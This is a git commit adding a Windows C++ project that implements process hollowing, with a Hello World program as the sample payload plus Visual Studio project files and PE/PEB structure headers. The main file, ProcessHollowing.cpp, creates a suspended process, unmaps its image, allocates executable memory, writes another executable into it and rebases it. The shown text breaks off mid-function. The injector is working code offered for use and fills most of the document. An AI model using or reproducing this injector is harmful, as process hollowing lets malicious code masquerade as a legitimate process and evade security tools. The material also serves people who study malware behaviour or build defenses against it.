Process-Hollowing

Process-Hollowing
This commit is contained in:
LycorisGuard 2018-08-17 15:30:10 +08:00
parent c5f8f3c489
commit 0ceb471205
20 changed files with 1544 additions and 0 deletions

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https://github.com/m0n0ph1/Process-Hollowing

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// HelloWorld.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
MessageBoxA(0, "Hello World", "Hello World", 0);
return 0;
}

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<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="HelloWorld"
ProjectGUID="{CBDD0923-D056-4517-9820-EDA9C05F5639}"
RootNamespace="HelloWorld"
Keyword="Win32Proj"
TargetFrameworkVersion="196613"
>
<Platforms>
<Platform
Name="Win32"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Debug|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="1"
UsePrecompiledHeader="2"
WarningLevel="3"
DebugInformationFormat="4"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="1"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
EnableIntrinsicFunctions="true"
PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="2"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="1"
GenerateDebugInformation="true"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
>
<File
RelativePath=".\HelloWorld.cpp"
>
</File>
<File
RelativePath=".\stdafx.cpp"
>
<FileConfiguration
Name="Debug|Win32"
>
<Tool
Name="VCCLCompilerTool"
UsePrecompiledHeader="1"
/>
</FileConfiguration>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
UsePrecompiledHeader="1"
/>
</FileConfiguration>
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl;inc;xsd"
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
>
<File
RelativePath=".\stdafx.h"
>
</File>
<File
RelativePath=".\targetver.h"
>
</File>
</Filter>
<Filter
Name="Resource Files"
Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
>
</Filter>
<File
RelativePath=".\ReadMe.txt"
>
</File>
</Files>
<Globals>
</Globals>
</VisualStudioProject>

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<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{CBDD0923-D056-4517-9820-EDA9C05F5639}</ProjectGuid>
<RootNamespace>HelloWorld</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<CharacterSet>Unicode</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
<OutDir Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">$(SolutionDir)$(Configuration)\</OutDir>
<IntDir Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">$(Configuration)\</IntDir>
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</LinkIncremental>
<OutDir Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">$(SolutionDir)$(Configuration)\</OutDir>
<IntDir Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">$(Configuration)\</IntDir>
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</LinkIncremental>
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" />
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" />
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" />
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" />
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="HelloWorld.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<None Include="ReadMe.txt" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

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<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="HelloWorld.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<None Include="ReadMe.txt" />
</ItemGroup>
</Project>

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// stdafx.cpp : source file that includes just the standard includes
// HelloWorld.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file

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// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
// TODO: reference additional headers your program requires here

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#pragma once
// The following macros define the minimum required platform. The minimum required platform
// is the earliest version of Windows, Internet Explorer etc. that has the necessary features to run
// your application. The macros work by enabling all features available on platform versions up to and
// including the version specified.
// Modify the following defines if you have to target a platform prior to the ones specified below.
// Refer to MSDN for the latest info on corresponding values for different platforms.
#ifndef _WIN32_WINNT // Specifies that the minimum required platform is Windows Vista.
#define _WIN32_WINNT 0x0600 // Change this to the appropriate value to target other versions of Windows.
#endif

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Microsoft Visual Studio Solution File, Format Version 11.00
# Visual Studio 2010
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ProcessHollowing", "ProcessHollowing\ProcessHollowing.vcxproj", "{0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HelloWorld", "HelloWorld\HelloWorld.vcxproj", "{CBDD0923-D056-4517-9820-EDA9C05F5639}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}.Debug|Win32.ActiveCfg = Debug|Win32
{0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}.Debug|Win32.Build.0 = Debug|Win32
{0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}.Release|Win32.ActiveCfg = Release|Win32
{0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}.Release|Win32.Build.0 = Release|Win32
{CBDD0923-D056-4517-9820-EDA9C05F5639}.Debug|Win32.ActiveCfg = Debug|Win32
{CBDD0923-D056-4517-9820-EDA9C05F5639}.Debug|Win32.Build.0 = Debug|Win32
{CBDD0923-D056-4517-9820-EDA9C05F5639}.Release|Win32.ActiveCfg = Release|Win32
{CBDD0923-D056-4517-9820-EDA9C05F5639}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

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#include "stdafx.h"
#include "windows.h"
#include "internals.h"
#include "pe.h"
DWORD FindRemotePEB(HANDLE hProcess)
{
HMODULE hNTDLL = LoadLibraryA("ntdll");
if (!hNTDLL)
return 0;
FARPROC fpNtQueryInformationProcess = GetProcAddress
(
hNTDLL,
"NtQueryInformationProcess"
);
if (!fpNtQueryInformationProcess)
return 0;
_NtQueryInformationProcess ntQueryInformationProcess =
(_NtQueryInformationProcess)fpNtQueryInformationProcess;
PROCESS_BASIC_INFORMATION* pBasicInfo =
new PROCESS_BASIC_INFORMATION();
DWORD dwReturnLength = 0;
ntQueryInformationProcess
(
hProcess,
0,
pBasicInfo,
sizeof(PROCESS_BASIC_INFORMATION),
&dwReturnLength
);
return pBasicInfo->PebBaseAddress;
}
PEB* ReadRemotePEB(HANDLE hProcess)
{
DWORD dwPEBAddress = FindRemotePEB(hProcess);
PEB* pPEB = new PEB();
BOOL bSuccess = ReadProcessMemory
(
hProcess,
(LPCVOID)dwPEBAddress,
pPEB,
sizeof(PEB),
0
);
if (!bSuccess)
return 0;
return pPEB;
}
PLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress)
{
BYTE* lpBuffer = new BYTE[BUFFER_SIZE];
BOOL bSuccess = ReadProcessMemory
(
hProcess,
lpImageBaseAddress,
lpBuffer,
BUFFER_SIZE,
0
);
if (!bSuccess)
return 0;
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)lpBuffer;
PLOADED_IMAGE pImage = new LOADED_IMAGE();
pImage->FileHeader =
(PIMAGE_NT_HEADERS32)(lpBuffer + pDOSHeader->e_lfanew);
pImage->NumberOfSections =
pImage->FileHeader->FileHeader.NumberOfSections;
pImage->Sections =
(PIMAGE_SECTION_HEADER)(lpBuffer + pDOSHeader->e_lfanew +
sizeof(IMAGE_NT_HEADERS32));
return pImage;
}

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#pragma once
#include <vector>
#include <map>
#include <Ntsecapi.h>
#include <DbgHelp.h>
#define BUFFER_SIZE 0x2000
typedef struct _RTL_DRIVE_LETTER_CURDIR {
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
PVOID ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StdInputHandle;
HANDLE StdOutputHandle;
HANDLE StdErrorHandle;
UNICODE_STRING CurrentDirectoryPath;
HANDLE CurrentDirectoryHandle;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingPositionLeft;
ULONG StartingPositionTop;
ULONG Width;
ULONG Height;
ULONG CharWidth;
ULONG CharHeight;
ULONG ConsoleTextAttributes;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopName;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB_FREE_BLOCK {
_PEB_FREE_BLOCK *Next;
ULONG Size;
} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;
typedef void (*PPEBLOCKROUTINE)(
PVOID PebLock
);
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PPEBLOCKROUTINE FastPebLockRoutine;
PPEBLOCKROUTINE FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID* KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PPEB_FREE_BLOCK FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID* *ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, *PPEB;
typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
#define CountRelocationEntries(dwBlockSize) \
(dwBlockSize - \
sizeof(BASE_RELOCATION_BLOCK)) / \
sizeof(BASE_RELOCATION_ENTRY)
inline PEB* GetPEB()
{
__asm mov eax, dword ptr fs:0x30;
}
inline PIMAGE_NT_HEADERS32 GetNTHeaders(DWORD dwImageBase)
{
return (PIMAGE_NT_HEADERS32)(dwImageBase +
((PIMAGE_DOS_HEADER)dwImageBase)->e_lfanew);
}
inline PLOADED_IMAGE GetLoadedImage(DWORD dwImageBase)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwImageBase;
PIMAGE_NT_HEADERS32 pNTHeaders = GetNTHeaders(dwImageBase);
PLOADED_IMAGE pImage = new LOADED_IMAGE();
pImage->FileHeader =
(PIMAGE_NT_HEADERS32)(dwImageBase + pDosHeader->e_lfanew);
pImage->NumberOfSections =
pImage->FileHeader->FileHeader.NumberOfSections;
pImage->Sections =
(PIMAGE_SECTION_HEADER)(dwImageBase + pDosHeader->e_lfanew +
sizeof(IMAGE_NT_HEADERS32));
return pImage;
}
inline char* GetDLLName(DWORD dwImageBase,
IMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor)
{
return (char*)(dwImageBase + ImageImportDescriptor.Name);
}
inline IMAGE_DATA_DIRECTORY GetImportDirectory(PIMAGE_NT_HEADERS32 pFileHeader)
{
return pFileHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
}
inline PIMAGE_IMPORT_DESCRIPTOR GetImportDescriptors(PIMAGE_NT_HEADERS32 pFileHeader,
IMAGE_DATA_DIRECTORY ImportDirectory)
{
return (PIMAGE_IMPORT_DESCRIPTOR)(pFileHeader->OptionalHeader.ImageBase +
ImportDirectory.VirtualAddress);
}
inline PIMAGE_THUNK_DATA32 GetILT(DWORD dwImageBase,
IMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor)
{
return (PIMAGE_THUNK_DATA32)(dwImageBase + ImageImportDescriptor.OriginalFirstThunk);
}
inline PIMAGE_THUNK_DATA32 GetIAT(DWORD dwImageBase,
IMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor)
{
return (PIMAGE_THUNK_DATA32)(dwImageBase + ImageImportDescriptor.FirstThunk);
}
inline PIMAGE_IMPORT_BY_NAME GetImportByName(DWORD dwImageBase,
IMAGE_THUNK_DATA32 itdImportLookup)
{
return (PIMAGE_IMPORT_BY_NAME)(dwImageBase + itdImportLookup.u1.AddressOfData);
}
extern std::map<PWSTR, std::vector<DWORD>> gCodeChecksums;
void WalkLoadOrderModules(void (*pLdrModuleFunction)(PLDR_MODULE, DWORD, PVOID), PVOID pParameters);
void GenerateCodeChecksums(PLDR_MODULE pLdrModule, std::vector<DWORD>* pChecksums);
void SetInitialLdrCodeChecksums(PLDR_MODULE pLdrModule, DWORD dwIndex, PVOID pParams);
void ValidateLdrCodeChecksums(PLDR_MODULE pLdrModule, DWORD dwIndex, PVOID pParams);
typedef struct _IAT_BACKUP_INFO {
DWORD BackupLength;
DWORD*** IATBackup;
} IAT_BACKUP_INFO, *PIAT_BACKUP_INFO;
DWORD** BackupIAT(DWORD dwImageBase);
void RepairIAT(DWORD dwImageBase, DWORD** pIATBackup);
DWORD FindRemotePEB(HANDLE hProcess);
PEB* ReadRemotePEB(HANDLE hProcess);
PLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress);

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// ProcessHollowing.cpp : Defines the entry point for the console application.
#include "stdafx.h"
#include <windows.h>
#include "internals.h"
#include "pe.h"
void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile)
{
printf("Creating process\r\n");
LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();
CreateProcessA
(
0,
pDestCmdLine,
0,
0,
0,
CREATE_SUSPENDED,
0,
0,
pStartupInfo,
pProcessInfo
);
if (!pProcessInfo->hProcess)
{
printf("Error creating process\r\n");
return;
}
PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);
printf("Opening source image\r\n");
HANDLE hFile = CreateFileA
(
pSourceFile,
GENERIC_READ,
0,
0,
OPEN_ALWAYS,
0,
0
);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Error opening %s\r\n", pSourceFile);
return;
}
DWORD dwSize = GetFileSize(hFile, 0);
PBYTE pBuffer = new BYTE[dwSize];
DWORD dwBytesRead = 0;
ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);
PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer);
PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer);
printf("Unmapping destination section\r\n");
HMODULE hNTDLL = GetModuleHandleA("ntdll");
FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
_NtUnmapViewOfSection NtUnmapViewOfSection =
(_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
DWORD dwResult = NtUnmapViewOfSection
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress
);
if (dwResult)
{
printf("Error unmapping section\r\n");
return;
}
printf("Allocating memory\r\n");
PVOID pRemoteImage = VirtualAllocEx
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress,
pSourceHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!pRemoteImage)
{
printf("VirtualAllocEx call failed\r\n");
return;
}
DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress -
pSourceHeaders->OptionalHeader.ImageBase;
printf
(
"Source image base: 0x%p\r\n"
"Destination image base: 0x%p\r\n",
pSourceHeaders->OptionalHeader.ImageBase,
pPEB->ImageBaseAddress
);
printf("Relocation delta: 0x%p\r\n", dwDelta);
pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress;
printf("Writing headers\r\n");
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress,
pBuffer,
pSourceHeaders->OptionalHeader.SizeOfHeaders,
0
))
{
printf("Error writing process memory\r\n");
return;
}
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
if (!pSourceImage->Sections[x].PointerToRawData)
continue;
PVOID pSectionDestination =
(PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress);
printf("Writing %s section to 0x%p\r\n", pSourceImage->Sections[x].Name, pSectionDestination);
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pSectionDestination,
&pBuffer[pSourceImage->Sections[x].PointerToRawData],
pSourceImage->Sections[x].SizeOfRawData,
0
))
{
printf ("Error writing process memory\r\n");
return;
}
}
if (dwDelta)
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
char* pSectionName = ".reloc";
if (memcmp(pSourceImage->Sections[x].Name, pSectionName, strlen(pSectionName)))
continue;
printf("Rebasing image\r\n");
DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData;
DWORD dwOffset = 0;
IMAGE_DATA_DIRECTORY relocData =
pSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
while (dwOffset < relocData.Size)
{
PBASE_RELOCATION_BLOCK pBlockheader =
(PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset];
dwOffset += sizeof(BASE_RELOCATION_BLOCK);
DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize);
PBASE_RELOCATION_ENTRY pBlocks =
(PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset];
for (DWORD y = 0; y < dwEntryCount; y++)
{
dwOffset += sizeof(BASE_RELOCATION_ENTRY);
if (pBlocks[y].Type == 0)
continue;
DWORD dwFieldAddress =
pBlockheader->PageAddress + pBlocks[y].Offset;
DWORD dwBuffer = 0;
ReadProcessMemory
(
pProcessInfo->hProcess,
(PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
&dwBuffer,
sizeof(DWORD),
0
);
//printf("Relocating 0x%p -> 0x%p\r\n", dwBuffer, dwBuffer - dwDelta);
dwBuffer += dwDelta;
BOOL bSuccess = WriteProcessMemory
(
pProcessInfo->hProcess,
(PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
&dwBuffer,
sizeof(DWORD),
0
);
if (!bSuccess)
{
printf("Error writing memory\r\n");
continue;
}
}
}
break;
}
DWORD dwBreakpoint = 0xCC;
DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress +
pSourceHeaders->OptionalHeader.AddressOfEntryPoint;
#ifdef WRITE_BP
printf("Writing breakpoint\r\n");
if (!WriteProcessMemory
(
